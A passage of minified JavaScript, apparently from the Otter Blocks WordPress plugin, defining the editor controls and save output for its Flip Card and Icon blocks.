Image","otter-blocks")},accept:"image/*",allowedTypes:["image"],value:e.frontMedia,onSelect:e=>{t({frontMedia:(0,A.pick)(e,["id","alt","url"]),frontMediaHeight:(0,h.Yj)(e?.sizes?.medium.height),frontMediaWidth:(0,h.Yj)(e?.sizes?.medium.width)})}})),(0,i.createElement)(p.__experimentalUnitControl,{onChange:e=>t({frontMediaWidth:e}),label:(0,o.__)("Media Width","otter-blocks"),isUnitSelectTabbable:!0,isResetValueOnUnitChange:!0,value:(0,h.Yj)(e.frontMediaWidth)}),(0,i.createElement)("br",null),(0,i.createElement)(p.__experimentalUnitControl,{onChange:e=>t({frontMediaHeight:e}),label:(0,o.__)("Media Height","otter-blocks"),isUnitSelectTabbable:!0,isResetValueOnUnitChange:!0,value:(0,h.Yj)(e.frontMediaHeight)}))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Alignment","otter-blocks"),initialOpen:!1},(0,i.createElement)(g.Lp,{label:(0,o.__)("Sides","otter-blocks"),options:[{label:(0,o.__)("Front","otter-blocks"),value:"front"},{label:(0,o.__)("Back","otter-blocks"),value:"back"}],value:l,onChange:a}),"front"===l&&!Boolean(e.isInverted)||"back"===l&&Boolean(e.isInverted)?(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.BaseControl,{label:(0,o.__)("Vertical","otter-blocks")},(0,i.createElement)(g.Ik,{options:[{icon:r.alignTop,value:"flex-start"},{icon:r.alignCenter,value:"center"},{icon:r.alignBottom,value:"flex-end"}],value:null!==(s=e.frontVerticalAlign)&&void 0!==s?s:"center",onChange:e=>t({frontVerticalAlign:e})})),(0,i.createElement)(p.BaseControl,{label:(0,o.__)("Horizontal","otter-blocks")},(0,i.createElement)(g.Ik,{options:[{icon:D.Z,value:"flex-start"},{icon:G.Z,value:"center"},{icon:j.Z,value:"flex-end"}],value:null!==(c=e.frontHorizontalAlign)&&void 0!==c?c:"center",onChange:e=>t({frontHorizontalAlign:e})}))):(0,i.createElement)(p.BaseControl,{label:(0,o.__)("Vertical","otter-blocks")},(0,i.createElement)(g.Ik,{options:[{icon:r.alignTop,value:"flex-start"},{icon:r.alignCenter,value:"center"},{icon:r.alignBottom,value:"flex-end"}],value:null!==(d=e.backVerticalAlign)&&void 0!==d?d:"center",onChange:e=>t({backVerticalAlign:e})}))),(0,i.createElement)(g.p,null)),"style"===_&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Dimensions","otter-blocks")},(0,i.createElement)(g.n9,{label:(0,o.__)("Screen Type","otter-blocks")},(0,i.createElement)(p.__experimentalUnitControl,{label:(0,o.__)("Width","otter-blocks"),value:null!==(m=E([(0,A.isNumber)(e.width)?(0,h.Yj)(e.width):e?.width,e.widthTablet,e?.widthMobile]))&&void 0!==m?m:"100%",onChange:t=>w(t,["width","widthTablet","widthMobile"],e.width),isUnitSelectTabbable:!0,isResetValueOnUnitChange:!0,allowReset:!0}),(0,i.createElement)("br",null),(0,i.createElement)(p.__experimentalUnitControl,{label:(0,o.__)("Height","otter-blocks"),value:null!==(f=E([(0,A.isNumber)(e.height)?(0,h.Yj)(e.height):e?.height,e.heightTablet,e?.heightMobile]))&&void 0!==f?f:"300px",onChange:t=>w(t,["height","heightTablet","heightMobile"],e.height),isUnitSelectTabbable:!0,isResetValueOnUnitChange:!0,allowReset:!0,units:[{default:300,label:"px",value:"px"},{default:20,label:"em",value:"em"},{default:20,label:"rem",value:"rem"},{default:30,label:"vw",value:"vw"},{default:35,label:"vh",value:"vh"}]}),(0,i.createElement)("br",null),(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Padding","otter-blocks"),values:null!==(v=E([e?.padding,e.paddingTablet,e?.paddingMobile]))&&void 0!==v?v:(0,A.isNumber)(e.padding)?(0,h.nT)((0,h.Yj)(e.padding)):(0,h.nT)("20px"),onChange:e=>{let t={};"object"==typeof e&&(t=Object.fromEntries(Object.entries((0,A.pick)(e,["top","bottom","left","right"])).filter((([e,t])=>null!=t)))),(0,A.isEmpty)(t)&&(t=void 0),w(t,["padding","paddingTablet","paddingMobile"])},allowReset:!0}))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Typography Front Side","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.BaseControl,{label:(0,o.__)("Title","otter-blocks")},(0,i.createElement)(p.FontSizePicker,{value:(0,h.Yj)(e.titleFontSize),onChange:e=>t({titleFontSize:e}),fontSizes:[...et,{name:"32",size:"32px",slug:"32"}],allowReset:!0})),(0,i.createElement)(p.BaseControl,{label:(0,o.__)("Description","otter-blocks")},(0,i.createElement)(p.FontSizePicker,{value:(0,h.Yj)(e.descriptionFontSize),onChange:e=>t({descriptionFontSize:e}),fontSizes:[...et,{name:"28",size:"28px",slug:"28"}],allowReset:!0}))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Front Side","otter-blocks"),initialOpen:!1},(0,i.createElement)(g.Zo,{backgroundType:e.frontBackgroundType,backgroundColor:e.frontBackgroundColor,image:e.frontBackgroundImage,gradient:e.frontBackgroundGradient,focalPoint:e.frontBackgroundPosition,backgroundAttachment:e.frontBackgroundAttachment,backgroundRepeat:e.frontBackgroundRepeat,backgroundSize:e.frontBackgroundSize,changeBackgroundType:e=>t({frontBackgroundType:e}),changeImage:e=>{t({frontBackgroundImage:(0,A.pick)(e,["id","url"])})},removeImage:()=>t({frontBackgroundImage:void 0}),changeColor:e=>t({frontBackgroundColor:e}),changeGradient:e=>t({frontBackgroundGradient:e}),changeBackgroundAttachment:e=>t({frontBackgroundAttachment:e}),changeBackgroundRepeat:e=>t({frontBackgroundRepeat:e}),changeFocalPoint:e=>t({frontBackgroundPosition:e}),changeBackgroundSize:e=>t({frontBackgroundSize:e})})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Back Side","otter-blocks"),initialOpen:!1},(0,i.createElement)(g.Zo,{backgroundType:e.backBackgroundType,backgroundColor:e.backBackgroundColor,image:e.backBackgroundImage,gradient:e.backBackgroundGradient,focalPoint:e.backBackgroundPosition,backgroundAttachment:e.backBackgroundAttachment,backgroundRepeat:e.backBackgroundRepeat,backgroundSize:e.backBackgroundSize,changeBackgroundType:e=>t({backBackgroundType:e}),changeImage:e=>{t({backBackgroundImage:(0,A.pick)(e,["id","url"])})},removeImage:()=>t({backBackgroundImage:void 0}),changeColor:e=>t({backBackgroundColor:e}),changeGradient:e=>t({backBackgroundGradient:e}),changeBackgroundAttachment:e=>t({backBackgroundAttachment:e}),changeBackgroundRepeat:e=>t({backBackgroundRepeat:e}),changeFocalPoint:e=>t({backBackgroundPosition:e}),changeBackgroundSize:e=>t({backBackgroundSize:e})})),(0,i.createElement)(u.PanelColorSettings,{title:(0,o.__)("Color","otter-blocks"),initialOpen:!1,colorSettings:[{value:e.borderColor,onChange:e=>t({borderColor:e}),label:(0,o.__)("Border","otter-blocks"),isShownByDefault:!1},{value:e.titleColor,onChange:e=>t({titleColor:e}),label:(0,o.__)("Title","otter-blocks"),isShownByDefault:!1},{value:e.descriptionColor,onChange:e=>t({descriptionColor:e}),label:(0,o.__)("Description","otter-blocks"),isShownByDefault:!1}]}),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Border","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Width","otter-blocks"),values:(0,h.Dv)((0,h.v)(e.borderWidth),(0,h.nT)("3px")),onChange:e=>{t({borderWidth:(0,h.cg)(e,{left:"3px",right:"3px",bottom:"3px",top:"3px"})})},allowReset:!0}),(0,i.createElement)(p.__experimentalBoxControl,{id:"o-border-raduis-box",label:(0,o.__)("Radius","otter-blocks"),values:(0,h.Dv)((0,h.v)(e.borderRadius),(0,h.nT)("10px")),onChange:e=>{t({borderRadius:(0,h.cg)(e,{left:"10px",right:"10px",bottom:"10px",top:"10px"})})},allowReset:!0}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Shadow Properties","otter-blocks"),checked:e.boxShadow,onChange:e=>t({boxShadow:e})}),e.boxShadow&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(u.__experimentalColorGradientControl,{label:(0,o.__)("Color","otter-blocks"),colorValue:e.boxShadowColor,onColorChange:l=>{t({boxShadowColor:100>e.boxShadowColorOpacity&&l?.includes("var(")?getComputedStyle(document.documentElement,null).getPropertyValue(l?.replace("var(","")?.replace(")","")):l})}}),(0,i.createElement)(g.Fi,{label:(0,o.__)("Shadow Properties","otter-blocks")},(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Opacity","otter-blocks"),value:e.boxShadowColorOpacity,onChange:l=>{const o={boxShadowColorOpacity:l};100>l&&e.boxShadowColor?.includes("var(")&&(o.boxShadowColor=getComputedStyle(document.documentElement,null).getPropertyValue(e.boxShadowColor.replace("var(","").replace(")",""))),t(o)},min:0,max:100,allowReset:!0}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Blur","otter-blocks"),value:e.boxShadowBlur,onChange:e=>t({boxShadowBlur:e}),min:0,max:100,allowReset:!0}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Horizontal","otter-blocks"),value:e.boxShadowHorizontal,onChange:e=>t({boxShadowHorizontal:e}),min:-100,max:100,allowReset:!0}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Vertical","otter-blocks"),value:e.boxShadowVertical,onChange:e=>t({boxShadowVertical:e}),min:-100,max:100,allowReset:!0})))))))};const{attributes:lt}=qe;const{name:ot}=qe;(0,a.registerBlockType)(ot,{...qe,title:(0,o.__)("Flip Card","otter-blocks"),description:(0,o.__)("Make a card with a flip effect. Powered by Otter.","otter-blocks"),icon:r.flipIcon,keywords:["flip card","container","animation"],edit:({attributes:e,setAttributes:t,clientId:l,isSelected:a})=>{var n,r,s,d,m,g,f,v,_;(0,b.useEffect)((()=>{const t=(0,y.blockInit)(l,lt);return()=>t(e.id)}),[e.id]),(0,k.W)("color"===e.frontBackgroundType&&e.frontBackgroundColor,e,t,"has-dark-front-bg","has-light-front-bg"),(0,k.W)("color"===e.backBackgroundType&&e.backBackgroundColor,e,t,"has-dark-back-bg","has-light-back-bg");const[C,w]=(0,b.useState)("front"),{responsiveGetAttributes:E}=(0,k.Y)(t),x={"--width":null!==(n=E([(0,A.isNumber)(e.width)?(0,h.Yj)(e.width):e?.width,e.widthTablet,e?.widthMobile]))&&void 0!==n?n:"100%","--width-tablet":e.widthTablet,"--width-mobile":e.widthMobile,"--height":null!==(r=E([(0,A.isNumber)(e.height)?(0,h.Yj)(e.height):e?.height,e.heightTablet,e?.heightMobile]))&&void 0!==r?r:"300px","--height-tablet":e.heightTablet,"--height-mobile":e.heightMobile,"--border-width":void 0!==e.borderWidth&&(0,h.um)((0,h.Dv)((0,h.nT)((0,h.Yj)(e.borderWidth)),{left:"3px",right:"3px",bottom:"3px",top:"3px"})),"--border-color":e.borderColor,"--border-radius":void 0!==e.borderRadius&&(0,h.um)((0,h.Dv)((0,h.nT)((0,h.Yj)(e.borderRadius)),{left:"10px",right:"10px",bottom:"10px",top:"10px"})),"--front-background":(0,h.nG)([["gradient"===e.frontBackgroundType&&e.frontBackgroundGradient,e.frontBackgroundGradient],["image"===e.frontBackgroundType&&e.frontBackgroundImage?.url,`url( ${e.frontBackgroundImage?.url} ) ${e.frontBackgroundRepeat||"repeat"} ${e.frontBackgroundAttachment||"scroll"} ${Math.round(null!==(s=e.frontBackgroundPosition?.x)&&void 0!==s?s:50)}% ${Math.round(null!==(d=e.frontBackgroundPosition?.y)&&void 0!==d?d:50)}%/${e.frontBackgroundSize||"auto"}`],[e.frontBackgroundColor]]),"--back-background":(0,h.nG)([["gradient"===e.backBackgroundType&&e.backBackgroundGradient,e.backBackgroundGradient],["image"===e.backBackgroundType&&e.backBackgroundImage?.url,`url( ${e.backBackgroundImage?.url} ) ${e.backBackgroundRepeat||"repeat"} ${e.backBackgroundAttachment||"scroll"} ${Math.round(null!==(m=e.backBackgroundPosition?.x)&&void 0!==m?m:50)}% ${Math.round(null!==(g=e.backBackgroundPosition?.y)&&void 0!==g?g:50)}%/${e.backBackgroundSize||"auto"}`],[e.backBackgroundColor]]),"--box-shadow":e.boxShadow&&`${e.boxShadowHorizontal}px ${e.boxShadowVertical}px ${e.boxShadowBlur}px ${e.boxShadowColor?e.boxShadowColor.includes("#")&&e?.boxShadowColorOpacity&&0<=e.boxShadowColorOpacity?O()(e.boxShadowColor,e.boxShadowColorOpacity||1e-5):e.boxShadowColor:O()("#000000",void 0!==e.boxShadowColorOpacity?e.boxShadowColorOpacity||1e-5:1)}`,"--front-vertical-align":e.frontVerticalAlign,"--front-horizontal-align":e.frontHorizontalAlign,"--back-vertical-align":e.backVerticalAlign,"--front-media-width":(0,h.Yj)(e.frontMediaWidth),"--front-media-height":(0,h.Yj)(e.frontMediaHeight),"--padding":(0,h.um)(null!==(f=E([e?.padding,e.paddingTablet,e?.paddingMobile]))&&void 0!==f?f:(0,A.isNumber)(e.padding)?(0,h.nT)((0,h.Yj)(e.padding)):(0,h.nT)("20px")),"--padding-tablet":(0,h.um)(e?.paddingTablet),"--padding-mobile":(0,h.um)(e?.paddingMobile)},[S,T]=(0,y.useCSSNode)();(0,b.useEffect)((()=>{T([`.o-flip-inner {\n\t\t\t\ttransform: ${"back"===C?"var( --flip-anim )":"unset"};\n\t\t\t}`,`.o-flip-front .o-flip-content h3 {\n\t\t\t\t${e.titleColor&&`color: ${e.titleColor}`};\n\t\t\t\t${e.titleFontSize&&`font-size: ${(0,h.Yj)(e.titleFontSize)}`}\n\t\t\t}`,`.o-flip-front .o-flip-content p {\n\t\t\t\t${e.descriptionColor&&`color: ${e.descriptionColor}`};\n\t\t\t\t${e.descriptionFontSize&&`font-size: ${(0,h.Yj)(e.descriptionFontSize)}`}\n\t\t\t}`])}),[C,e.titleFontSize,e.descriptionFontSize,e.titleColor,e.descriptionColor]);const B=(0,u.useBlockProps)({id:e.id,className:c()({flipX:"flipX"===e.animType,flipY:"flipY"===e.animType,"flipY-rev":"flipY-rev"===e.animType,"flipX-rev":"flipX-rev"===e.animType},S),style:x});return(0,i.createElement)(b.Fragment,null,(0,i.createElement)(Qe,{attributes:e,setAttributes:t,currentSide:C}),(0,i.createElement)(tt,{attributes:e,setAttributes:t,currentSide:C,setSide:w}),(0,i.createElement)("div",{...B},(0,i.createElement)("div",{className:c()("o-flip-inner",{invert:e.isInverted})},(0,i.createElement)("div",{className:"o-flip-front"},(0,i.createElement)("div",{className:"o-flip-content"},e.frontMedia?.url&&(0,i.createElement)("img",{className:"o-img",srcSet:e.frontMedia?.url}),(0,i.createElement)(u.RichText,{tagName:"h3",placeholder:(0,o.__)("Front title","otter-blocks"),value:null!==(v=e.title)&&void 0!==v?v:"",onChange:e=>t({title:e})}),(0,i.createElement)(u.RichText,{tagName:"p",placeholder:(0,o.__)("This is is just a placeholder to help you visualise how the content is displayed in the flip box. Feel free to edit this with your actual content.","otter-blocks"),value:null!==(_=e.description)&&void 0!==_?_:"",onChange:e=>t({description:e})}))),(0,i.createElement)("div",{className:"o-flip-back"},(0,i.createElement)(u.InnerBlocks,{renderAppender:a?u.InnerBlocks.DefaultBlockAppender:void 0,template:[["core/heading",{placeholder:(0,o.__)("Back title","otter-blocks"),level:3}],["core/paragraph",{placeholder:(0,o.__)("This is is just a placeholder to help you visualise how the content is displayed in the flip box. Feel free to edit this with your actual content.","otter-blocks")}],["core/buttons",{layout:{type:"flex",justifyContent:"center"}},[["core/button",{className:"is-style-fill",placeholder:(0,o.__)("Button text","otter-blocks")}]]]]}))),a&&(0,i.createElement)("div",{className:"o-switcher"},(0,i.createElement)(p.Button,{variant:"primary",onClick:()=>w("back"===C?"front":"back")},"back"===C?(0,o.__)("Flip to Front","otter-blocks"):(0,o.__)("Flip to Back","otter-blocks")))))},save:({attributes:e})=>{const t=u.useBlockProps.save({id:e.id,className:c()("anim",{flipX:"flipX"===e.animType,flipY:"flipY"===e.animType,"flipY-rev":"flipY-rev"===e.animType,"flipX-rev":"flipX-rev"===e.animType})});return(0,i.createElement)("div",{...t},(0,i.createElement)("div",{className:c()("o-flip-inner",{invert:e.isInverted})},(0,i.createElement)("div",{className:"o-flip-front"},(0,i.createElement)("div",{className:"o-flip-content"},e.frontMedia?.url&&(0,i.createElement)("img",{className:"o-img",src:e.frontMedia?.url,srcSet:e.frontMedia?.url,alt:e.frontMedia?.alt}),(0,i.createElement)(u.RichText.Content,{tagName:"h3",value:e.title}),(0,i.createElement)(u.RichText.Content,{tagName:"p",value:e.description}))),(0,i.createElement)("div",{className:"o-flip-back"},(0,i.createElement)(u.InnerBlocks.Content,null))))},example:{attributes:{}}});var at=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/font-awesome-icons","title":"Icon","category":"themeisle-blocks","description":"Add icons from Font Awesome or ThemeIsle Icons library to your website. Powered by Otter.","keywords":["font awesome","dashicons","icons"],"textdomain":"otter-blocks","attributes":{"id":{"type":"string"},"align":{"type":["string","object"]},"library":{"type":"string","default":"fontawesome"},"prefix":{"type":"string","default":"fab"},"icon":{"type":"string","default":"themeisle"},"link":{"type":"string"},"newTab":{"type":"boolean","default":false},"fontSize":{"type":["number","string"],"default":"16px"},"padding":{"type":["number","object"]},"margin":{"type":["number","object"],"default":{"top":"5px","right":"5px","bottom":"5px","left":"5px"}},"backgroundColor":{"type":"string"},"textColor":{"type":"string"},"borderColor":{"type":"string"},"backgroundColorHover":{"type":"string"},"textColorHover":{"type":"string"},"borderColorHover":{"type":"string"},"borderSize":{"type":"number","default":0},"borderRadius":{"type":"number","default":0},"isSynced":{"type":"array"}},"editorStyle":"otter-font-awesome-editor","style":"otter-font-awesome-style"}');const nt={prefix:{type:"string",default:"fab"},icon:{type:"string",default:"themeisle"},fontSize:{type:"number",default:16},padding:{type:"number",default:5},margin:{type:"number",default:5},backgroundColor:{type:"string"},textColor:{type:"string"},borderColor:{type:"string"},borderSize:{type:"number",default:0},borderRadius:{type:"number",default:0}},rt=[{attributes:{id:{type:"string"},align:{type:"string"},library:{type:"string",default:"fontawesome"},prefix:{type:"string",default:"fab"},icon:{type:"string",default:"themeisle"},link:{type:"string"},newTab:{type:"boolean",default:!1},fontSize:{type:"number",default:16},padding:{type:"number",default:5},margin:{type:"number",default:5},backgroundColor:{type:"string"},textColor:{type:"string"},borderColor:{type:"string"},backgroundColorHover:{type:"string"},textColorHover:{type:"string"},borderColorHover:{type:"string"},borderSize:{type:"number",default:0},borderRadius:{type:"number",default:0},isSynced:{type:"array"}},supports:{align:["left","center","right"]},save:({attributes:e})=>{const t=he.ZP.icons[e.icon],l=u.useBlockProps.save({id:e.id});return(0,i.createElement)("p",{...l},(0,i.createElement)("span",{className:"wp-block-themeisle-blocks-font-awesome-icons-container"},e.link?(0,i.createElement)("a",{href:e.link,target:e.newTab?"_blank":"_self",rel:"noopener noreferrer"},"themeisle-icons"===e.library?(0,i.createElement)(t,null):(0,i.createElement)("i",{className:`${e.prefix} fa-${e.icon}`})):"themeisle-icons"===e.library?(0,i.createElement)(t,null):(0,i.createElement)("i",{className:`${e.prefix} fa-${e.icon}`})))}},{attributes:nt,supports:{align:["left","center","right"]},migrate:e=>{let t="center";return e.className.includes("alignleft")&&(t="left"),e.className.includes("aligncenter")&&(t="center"),e.className.includes("alignright")&&(t="right"),{...e,align:t,className:""}},save:({attributes:e,className:t})=>{const l={borderRadius:e.borderRadius+"%",fontSize:e.fontSize+"px",padding:e.padding+"px"},o={color:e.textColor,backgroundColor:e.backgroundColor,borderColor:e.borderColor,borderRadius:e.borderRadius+"%",borderStyle:"solid",borderWidth:e.borderSize+"px",display:"inline-block",margin:e.margin+"px"};return(0,i.createElement)("p",{className:t,style:{textAlign:e.align}},(0,i.createElement)("span",{className:`${t}-container`,style:o},(0,i.createElement)("i",{className:`${e.prefix} fa-${e.icon}`,style:l})))}},{attributes:{...nt,align:{type:"string"}},save:({attributes:e,className:t})=>{const l={borderRadius:e.borderRadius+"%",fontSize:e.fontSize+"px",padding:e.padding+"px"},o={color:e.textColor,backgroundColor:e.backgroundColor,borderColor:e.borderColor,borderRadius:e.borderRadius+"%",borderStyle:"solid",borderWidth:e.borderSize+"px",display:"inline-block",margin:e.margin+"px"};return(0,i.createElement)("p",{className:t,style:{textAlign:e.align}},(0,i.createElement)("span",{className:"undefined-container",style:o},(0,i.createElement)("i",{className:`${e.prefix} fa-${e.icon}`,style:l})))}},{attributes:{...nt,id:{type:"string"},align:{type:"string"},link:{type:"string"},newTab:{type:"boolean",default:!1},backgroundColorHover:{type:"string"},textColorHover:{type:"string"},borderColorHover:{type:"string"}},save:({attributes:e,className:t})=>{const l={borderRadius:e.borderRadius+"%",borderStyle:"solid",borderWidth:e.borderSize+"px",display:"inline-block",margin:e.margin+"px"},o={borderRadius:e.borderRadius+"%",fontSize:e.fontSize+"px",padding:e.padding+"px"},a=()=>(0,i.createElement)("i",{className:`${e.prefix} fa-${e.icon}`,style:o});return(0,i.createElement)("p",{className:t,id:e.id,style:{textAlign:e.align}},(0,i.createElement)("span",{className:"wp-block-themeisle-blocks-font-awesome-icons-container",style:l},e.link?(0,i.createElement)("a",{href:e.link,target:e.newTab?"_blank":"_self",style:{color:e.textColor},rel:"noopener noreferrer"},(0,i.createElement)(a,null)):(0,i.createElement)(a,null)))}}];var it=rt;const st={left:"flex-start",center:"center",right:"flex-end","flex-start":"left","flex-end":"right"};var ct=({attributes:e,setAttributes:t,isSelected:l})=>{var o;const{responsiveSetAttributes:a,responsiveGetAttributes:n}=(0,k.Y)(t);return(0,i.createElement)(u.BlockControls,null,(0,i.createElement)(u.AlignmentToolbar,{value:st[null!==(o=n([pt(e.align)?.desktop,pt(e.align)?.tablet,pt(e.align)?.mobile]))&&void 0!==o?o:"center"],onChange:t=>a(""===t?void 0:st[t],["align.desktop","align.tablet","align.mobile"],pt(e.align))}),(0,i.createElement)(g.Rc,{isSelected:l,setAttributes:t,url:e.link,opensInNewTab:e.newTab}))};const dt=[{name:(0,o.__)("Small","otter-blocks"),size:"16px",slug:"small"},{name:(0,o.__)("Medium","otter-blocks"),size:"32px",slug:"medium"},{name:(0,o.__)("Large","otter-blocks"),size:"48px",slug:"large"},{name:(0,o.__)("XL","otter-blocks"),size:"60px",slug:"xl"}];var ut=({attributes:e,setAttributes:t,getValue:l})=>{var a,n,r,s;const[c,d]=(0,b.useState)(!1),{responsiveSetAttributes:m,responsiveGetAttributes:y}=(0,k.Y)(t);return(0,i.createElement)(u.InspectorControls,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Icon","otter-blocks")},(0,i.createElement)(g.m3,{label:(0,o.__)("Icon Picker","otter-blocks"),library:e.library,prefix:e.prefix,icon:e.icon,changeLibrary:e=>{t({library:e,icon:"fontawesome"===e?"themeisle":"balance",prefix:"fab"})},onChange:e=>{t("object"==typeof e?{icon:e.name,prefix:e.prefix}:{icon:e})}})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Dimensions","otter-blocks"),initialOpen:!1},(0,i.createElement)(g.r4,{isSynced:e.isSynced,options:[{label:(0,o.__)("Size","otter-blocks"),value:"fontSize"},{label:(0,o.__)("Padding","otter-blocks"),value:"padding"},{label:(0,o.__)("Margin","otter-blocks"),value:"margin"}],setAttributes:t}),(0,i.createElement)(p.Disabled,{isDisabled:e.isSynced?.includes("fontSize")||!1,className:"o-disabled"},(0,i.createElement)(p.FontSizePicker,{fontSizes:dt,withReset:!0,value:null!==(a=e.fontSize)&&void 0!==a?a:"16px",onChange:e=>t({fontSize:e})})),(0,i.createElement)(p.Disabled,{isDisabled:e.isSynced?.includes("padding")||!1,className:"o-disabled"},(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Padding","otter-blocks"),values:(0,A.isObjectLike)(e.padding)?e.padding:(0,W.rO)((0,h.Yj)(null!==(n=e.padding)&&void 0!==n?n:5)),onChange:e=>t({padding:e})})),(0,i.createElement)(p.Disabled,{isDisabled:e.isSynced?.includes("margin")||!1,className:"o-disabled"},(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Margin","otter-blocks"),values:(0,A.isObjectLike)(e.margin)?e.margin:(0,W.rO)((0,h.Yj)(null!==(r=e.margin)&&void 0!==r?r:5)),onChange:e=>t({margin:e})})),(0,i.createElement)(g.n9,{label:(0,o.__)("Alignment","otter-blocks"),className:"buttons-alignment-control"},(0,i.createElement)(g.Ik,{value:null!==(s=y([pt(e.align)?.desktop,pt(e.align)?.tablet,pt(e.align)?.mobile]))&&void 0!==s?s:"center",onChange:t=>m(""===t?void 0:t,["align.desktop","align.tablet","align.mobile"],pt(e.align)),options:[{icon:D.Z,label:(0,o.__)("Left","otter-blocks"),value:"flex-start"},{icon:G.Z,label:(0,o.__)("Center","otter-blocks"),value:"center"},{icon:j.Z,label:(0,o.__)("Right","otter-blocks"),value:"flex-end"}],hasIcon:!0}))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Color","otter-blocks"),initialOpen:!1},(0,i.createElement)(g.r4,{isSynced:e.isSynced,options:[{label:(0,o.__)("Background","otter-blocks"),value:"backgroundColor"},{label:(0,o.__)("Icon","otter-blocks"),value:"textColor"},{label:(0,o.__)("Hover Background","otter-blocks"),value:"backgroundColorHover"},{label:(0,o.__)("Hover Icon","otter-blocks"),value:"textColorHover"}],setAttributes:t}),(0,i.createElement)(g.Ik,{onChange:e=>d(e),value:c,options:[{value:!1,label:(0,o.__)("Normal","otter-blocks")},{value:!0,label:(0,o.__)("Hover","otter-blocks")}]}),(0,i.createElement)("br",null),c?(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.Disabled,{isDisabled:e.isSynced?.includes("backgroundColorHover")||!1,className:"o-disabled"},(0,i.createElement)(g.Ed,{label:(0,o.__)("Background","otter-blocks"),colorValue:l("backgroundColorHover"),onColorChange:e=>t({backgroundColorHover:e}),className:"is-list is-first"})),(0,i.createElement)(p.Disabled,{isDisabled:e.isSynced?.includes("textColorHover")||!1,className:"o-disabled"},(0,i.createElement)(g.Ed,{label:(0,o.__)("Icon","otter-blocks"),colorValue:l("textColorHover"),onColorChange:e=>t({textColorHover:e}),className:"is-list"})),(0,i.createElement)(g.Ed,{label:(0,o.__)("Hover Border","otter-blocks"),colorValue:e.borderColorHover,onColorChange:e=>t({borderColorHover:e}),className:"is-list is-last"}),(0,i.createElement)("br",null),(0,i.createElement)(u.ContrastChecker,{textColor:l("textColorHover"),backgroundColor:l("backgroundColorHover")})):(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.Disabled,{isDisabled:e.isSynced?.includes("backgroundColor")||!1,className:"o-disabled"},(0,i.createElement)(g.Ed,{label:(0,o.__)("Background","otter-blocks"),colorValue:l("backgroundColor"),onColorChange:e=>t({backgroundColor:e}),className:"is-list is-first"})),(0,i.createElement)(p.Disabled,{isDisabled:e.isSynced?.includes("textColor")||!1,className:"o-disabled"},(0,i.createElement)(g.Ed,{label:(0,o.__)("Icon","otter-blocks"),colorValue:l("textColor"),onColorChange:e=>t({textColor:e}),className:"is-list"})),(0,i.createElement)(g.Ed,{label:(0,o.__)("Border","otter-blocks"),colorValue:e.borderColor,onColorChange:e=>t({borderColor:e}),className:"is-list is-last"}),(0,i.createElement)("br",null),(0,i.createElement)(u.ContrastChecker,{textColor:l("textColor"),backgroundColor:l("backgroundColor")}))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Border Settings","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Border Size","otter-blocks"),value:e.borderSize,onChange:e=>t({borderSize:e}),step:.1,min:0,max:120}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Border Radius","otter-blocks"),value:e.borderRadius,onChange:e=>t({borderRadius:e}),step:.1,min:0,max:100})))};const{attributes:bt}=at,mt={right:"flex-end",center:"center",left:"flex-start"},pt=e=>{var t;return(0,A.isString)(e)?{desktop:null!==(t=mt?.[e])&&void 0!==t?t:"center"}:e};const{name:gt}=at;(0,a.registerBlockType)(gt,{...at,title:(0,o.__)("Icon","otter-blocks"),description:(0,o.__)("Add icons from Font Awesome or ThemeIsle Icons library to your website. Powered by Otter.","otter-blocks"),icon:r.faIcon,keywords:["font awesome","dashicons","icons"],deprecated:it,edit:({name:e,attributes:t,setAttributes:l,isSelected:o,clientId:a})=>{(0,b.useEffect)((()=>{const e=(0,y.blockInit)(a,bt);return()=>e(t.id)}),[t.id]);const n=he.ZP.icons[t.icon],r=l=>(0,y.getDefaultValueByField)({name:e,field:l,defaultAttributes:bt,attributes:t}),s={"--border-color":t.borderColor,"--border-size":void 0!==t.borderSize&&`${t.borderSize}px`,"--border-radius":void 0!==t.borderRadius&&`${t.borderRadius}%`,"--margin":(0,A.isObjectLike)(r("margin"))?(0,h.bv)(r("margin"),{top:"5px",right:"5px",bottom:"5px",left:"5px"}):r("margin")+"px","--padding":t.padding&&((0,A.isObjectLike)(r("padding"))?(0,h.bv)(r("padding"),{top:"5px",right:"5px",bottom:"5px",left:"5px"}):r("padding")+"px"),"--font-size":void 0!==t.fontSize&&((0,A.isNumber)(r("fontSize"))?`${r("fontSize")}px`:r("fontSize")),"--align":pt(t.align)?.desktop,"--align-tablet":pt(t.align)?.tablet,"--align-mobile":pt(t.align)?.mobile},d=(0,u.useBlockProps)({id:t.id,style:s});return(0,i.createElement)(b.Fragment,null,(0,i.createElement)(ct,{attributes:t,setAttributes:l,isSelected:o}),(0,i.createElement)(ut,{attributes:t,setAttributes:l,getValue:r}),(0,i.createElement)("div",{...d},(0,i.createElement)("style",null,`#block-${a} .wp-block-themeisle-blocks-font-awesome-icons-container`+(0,h.iC)([["color",r("textColor")],["background-color",r("backgroundColor")]]),`#block-${a} 